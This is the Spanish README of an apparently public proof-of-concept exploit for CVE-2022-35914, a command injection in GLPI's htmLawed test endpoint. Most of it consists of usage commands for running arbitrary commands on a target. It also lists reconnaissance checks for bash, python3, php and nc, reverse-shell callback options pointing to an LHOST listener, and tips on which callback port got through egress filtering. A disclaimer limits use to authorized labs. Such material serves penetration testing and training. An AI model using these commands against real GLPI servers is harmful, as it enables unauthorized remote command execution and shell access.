
PoC exploit para CVE-2022-35914 — inyección de comandos en htmLawed de GLPI v.10.0.2, ejecución de comandos y soporte de reverse shell.
PoC para CVE-2022-35914, una vulnerabilidad de inyección de comandos que afecta al componente de prueba htmLawed en instalaciones vulnerables de GLPI.
La herramienta permite la ejecución de comandos a través del endpoint vulnerable e incluye funcionalidad opcional de callback para entornos de laboratorio autorizados.
Aviso legal: Este proyecto está destinado únicamente a pruebas de seguridad autorizadas, CTFs, laboratorios de OffSec/PG y fines educativos. No lo utilices contra sistemas sin autorización explícita.
| Campo | Detalles |
|---|---|
| CVE | CVE-2022-35914 |
| Software | GLPI |
| Componente | htmLawed |
| Endpoint vulnerable | /vendor/htmlawed/htmlawed/htmLawedTest.php |
El componente vulnerable puede permitir la ejecución de comandos mediante parámetros manipulados en las instalaciones afectadas.
Python 3 y las dependencias necesarias.
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
Clona el repositorio:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
Haz el script ejecutable:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
Ejemplo de salida:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
La opción -c especifica el comando a ejecutar.
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
La opción -p / --rport especifica el puerto en el que se está ejecutando el servicio web vulnerable de GLPI.
Por defecto:
80
Ejemplo:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
Usa --check para verificar que la página de prueba de htmLawed está disponible sin ejecutar un comando:
python3 glpi.py -u TARGET_IP --check
Se puede proporcionar un User-Agent HTTP personalizado con:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
El script admite parámetros opcionales de callback:
-l Callback/listener IP
-lp Callback/listener port
Ejemplo:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
En este ejemplo:
Target: TARGET_IP:80
Callback: LHOST:80
Los dos puertos tienen propósitos diferentes:
-p = Target GLPI HTTP port
-lp = Callback/listener port
Durante las pruebas en un entorno de laboratorio de OffSec, el callback funcionó correctamente a través del puerto TCP 80.
Otros puertos de callback, como 4444, pueden agotar el tiempo de espera (timeout) según la red del laboratorio y el filtrado de salida (egress).
Para el entorno probado:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
El listener se configuró en la interfaz VPN de Kali usando el puerto TCP 80.
Importante: El uso del puerto 80 para el callback es una observación específica del entorno. No es un requisito de CVE-2022-35914.
Primero verifica la ejecución de comandos:
python3 glpi.py -u TARGET_IP -c 'id'
Comprueba si existen las utilidades necesarias:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
Si la ejecución de comandos funciona pero el callback agota el tiempo de espera, revisa el enrutamiento de la VPN y el puerto del callback.
Si el análisis de la salida del comando falla, la respuesta HTTP completa se guarda en:
/tmp/glpi.html
Inspecciónala con:
less /tmp/glpi.html
o:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
Para el entorno de laboratorio de OffSec probado:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
Este proyecto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.
El autor no es responsable de ningún uso indebido, daño, acceso no autorizado o actividad ilegal que involucre este software.
Siempre obtén autorización explícita antes de probar un sistema.
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 by cyb3rk0ala
| Opción | Descripción | Por defecto |
|---|
-u, --url | URL o dirección IP del objetivo | Obligatorio |
-c, --cmd | Comando a ejecutar | id |
--check | Comprueba el objetivo sin ejecutar un comando | Deshabilitado |
--user-agent | User-Agent HTTP personalizado | Predeterminado |
-p, --rport | Puerto del servicio HTTP del objetivo | 80 |
-l, --lhost | Dirección IP del callback/listener | — |
-lp, --lport | Puerto del callback/listener | — |